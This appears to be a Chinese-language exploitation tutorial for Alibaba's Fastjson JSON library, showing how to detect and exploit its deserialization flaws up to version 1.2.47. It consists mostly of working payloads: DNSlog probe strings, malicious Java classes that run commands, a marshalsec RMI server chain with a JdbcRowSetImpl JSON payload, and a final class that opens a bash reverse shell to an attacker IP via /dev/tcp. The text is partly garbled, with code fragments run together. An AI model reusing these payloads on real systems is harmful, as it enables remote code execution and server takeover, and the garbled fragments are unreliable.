
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0Java语言中常用的Json处理主要是Fastjson和Jackson,相对而言,Jackson比较严格,强制Key和JavaBean属性对齐,只能少Key不能多Key,所以可以通过增加一个Key看响应包会不会报错来判断。
// Payload
{"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

TouchFile.java并编译成 class文件$ vim TouchFile.java
$ javac TouchFile.javaimport java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success.txt"}; 
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}TouchFile.class文件TouchFile.class。marshalsec-0.0.3-SNAPSHOT-all.jar可以自己使用Maven构建,也可以直接在这里下载并上传到服务器$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器IP:8888/#TouchFile" 9999 

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://服务器IP:9999/TouchFile",
        "autoCommit":true
    }
}
Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Content-Type设为 application/json# Payload
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
Exploit.class$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<服务器IP>:8888/#Exploit" 9999Exploit.classpublic class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("touch /tmp/success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://<服务器IP>:9999/Exploit",
        "autoCommit":true
    }
}

success.txt文件被成功创建
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/服务器IP/端口 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}set property error, autoCommit...